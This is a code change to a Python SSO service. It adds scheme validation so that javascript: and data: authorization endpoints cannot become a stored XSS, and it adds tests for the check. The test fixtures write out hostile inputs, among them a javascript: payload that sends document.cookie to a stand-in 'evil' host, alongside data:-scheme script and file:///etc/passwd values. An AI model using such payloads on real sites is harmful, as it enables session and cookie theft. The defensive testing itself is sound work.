security: harden SSO authorize URL against javascript: scheme (XSS-VULN-02) (#329)

Author: Quentin-L-Inge

server/src/identity_access_management_context/adapters/secondary/oauth2_sso_gateway.py

@@ -102,6 +102,13 @@ def _get_oauth_client(self, config: SsoConfiguration) -> AsyncOAuth2Client:
 
     async def get_authorize_url(self, config: SsoConfiguration, state: str | None = None) -> str:
         """Generate OAuth2 authorization URL."""
+        # Defense in depth: never hand a non-https authorization endpoint to the
+        # client. A `javascript:`/`data:` value (e.g. from a config persisted before
+        # discovery-time validation existed) would be a stored XSS once the browser
+        # assigns it to window.location. Only the scheme matters here (the server
+        # never connects to this endpoint), so skip the DNS/SSRF checks.
+        self._url_validator.validate_scheme(config.authorization_endpoint)
+
         client = self._get_oauth_client(config)
 
         # Generate authorization URL with a caller-provided state for CSRF protection

server/src/identity_access_management_context/adapters/secondary/sso_url_validator.py

@@ -1,6 +1,6 @@
 import ipaddress
 import socket
-from urllib.parse import urlparse
+from urllib.parse import ParseResult, urlparse
 
 from identity_access_management_context.domain.exceptions import (
     DisallowedSsoEndpointException,
@@ -24,14 +24,22 @@ class SsoUrlValidator:
     def __init__(self, allow_private_networks: bool = False) -> None:
         self._allow_private_networks = allow_private_networks
 
+    def validate_scheme(self, url: str) -> None:
+        """Reject disallowed schemes (``javascript:``, ``data:``, …) and empty hosts.
+
+        Strict mode allows only ``https``; with ``allow_private_networks=True`` it also
+        allows ``http`` (dev / localhost IdP). Cheap: no DNS resolution. Use where the
+        URL is handed to a *client* to navigate to (the server never connects there), so
+        only the scheme matters — e.g. an authorization endpoint returned by
+        ``/auth/sso/url``. Closes the stored-XSS vector (``window.location`` on a
+        ``javascript:`` URL).
+        """
+        self._require_http_scheme(url)
+
     def validate(self, url: str) -> None:
-        parsed = urlparse((url or "").strip())
+        parsed = self._require_http_scheme(url)
         scheme = parsed.scheme.lower()
 
-        allowed_schemes = {"https", "http"} if self._allow_private_networks else {"https"}
-        if scheme not in allowed_schemes or not parsed.hostname:
-            raise DisallowedSsoEndpointException()
-
         if self._allow_private_networks:
             return
 
@@ -52,3 +60,10 @@ def validate(self, url: str) -> None:
                 or ip.is_unspecified
             ):
                 raise DisallowedSsoEndpointException()
+
+    def _require_http_scheme(self, url: str) -> ParseResult:
+        parsed = urlparse((url or "").strip())
+        allowed_schemes = {"https", "http"} if self._allow_private_networks else {"https"}
+        if parsed.scheme.lower() not in allowed_schemes or not parsed.hostname:
+            raise DisallowedSsoEndpointException()
+        return parsed

server/tests/identity_access_management_context/integration/test_sso_oidc_integration.py

@@ -241,6 +241,27 @@ async def test_should_reject_discovery_url_targeting_cloud_metadata(strict_gatew
     assert "169.254" not in str(exc_info.value)
 
 
+@pytest.mark.asyncio
+async def test_should_reject_javascript_authorization_endpoint_in_authorize_url(strict_gateway: OAuth2SsoGateway):
+    # A config poisoned before discovery-time validation existed must never yield a
+    # `javascript:` URL from /auth/sso/url (stored XSS via window.location).
+    payload = "javascript:fetch('//evil?c='+document.cookie)"
+    config = SsoConfiguration(
+        client_id="x",
+        client_secret="encrypted(x)",
+        discovery_url="https://idp.example.com/.well-known/openid-configuration",
+        authorization_endpoint=payload,
+        token_endpoint="https://idp.example.com/token",
+        userinfo_endpoint="https://idp.example.com/userinfo",
+        jwks_uri="https://idp.example.com/jwks",
+        updated_at=datetime.fromtimestamp(0),
+        client_secret_decrypted="x",
+    )
+    with pytest.raises(InvalidSsoSettingsException) as exc_info:
+        await strict_gateway.get_authorize_url(config)
+    assert "document.cookie" not in str(exc_info.value)
+
+
 @pytest.mark.asyncio
 async def test_should_reject_http_discovery_url_in_strict_mode(strict_gateway: OAuth2SsoGateway):
     with pytest.raises(InvalidSsoSettingsException):

server/tests/identity_access_management_context/integration/test_sso_url_validator.py

@@ -67,3 +67,39 @@ def test_should_allow_http_localhost_when_private_networks_allowed(self):
     def test_should_still_reject_non_http_scheme(self):
         with pytest.raises(DisallowedSsoEndpointException):
             SsoUrlValidator(allow_private_networks=True).validate("file:///etc/passwd")
+
+
+class TestSsoUrlValidatorSchemeOnly:
+    """validate_scheme guards a URL handed to a browser (no server-side request),
+    so it checks only the scheme/host and never resolves DNS."""
+
+    @pytest.mark.parametrize(
+        "url",
+        [
+            "javascript:fetch('//evil?c='+document.cookie)",
+            "javascript:alert(1)",
+            "data:text/html,<script>alert(1)</script>",
+            "file:///etc/passwd",
+            "https:///no-host",
+            "not-a-url",
+            "",
+        ],
+    )
+    def test_should_reject_dangerous_or_malformed_scheme(self, url):
+        with pytest.raises(DisallowedSsoEndpointException):
+            SsoUrlValidator().validate_scheme(url)
+
+    def test_should_accept_https_without_dns_lookup(self, monkeypatch):
+        # Would blow up if a DNS resolution were attempted.
+        def _boom(*args, **kwargs):
+            raise AssertionError("validate_scheme must not resolve DNS")
+
+        monkeypatch.setattr(socket, "getaddrinfo", _boom)
+        SsoUrlValidator().validate_scheme("https://accounts.google.com/authorize")
+
+    def test_should_reject_http_in_strict_mode(self):
+        with pytest.raises(DisallowedSsoEndpointException):
+            SsoUrlValidator().validate_scheme("http://accounts.google.com/authorize")
+
+    def test_should_allow_http_in_permissive_mode(self):
+        SsoUrlValidator(allow_private_networks=True).validate_scheme("http://localhost:8080/authorize")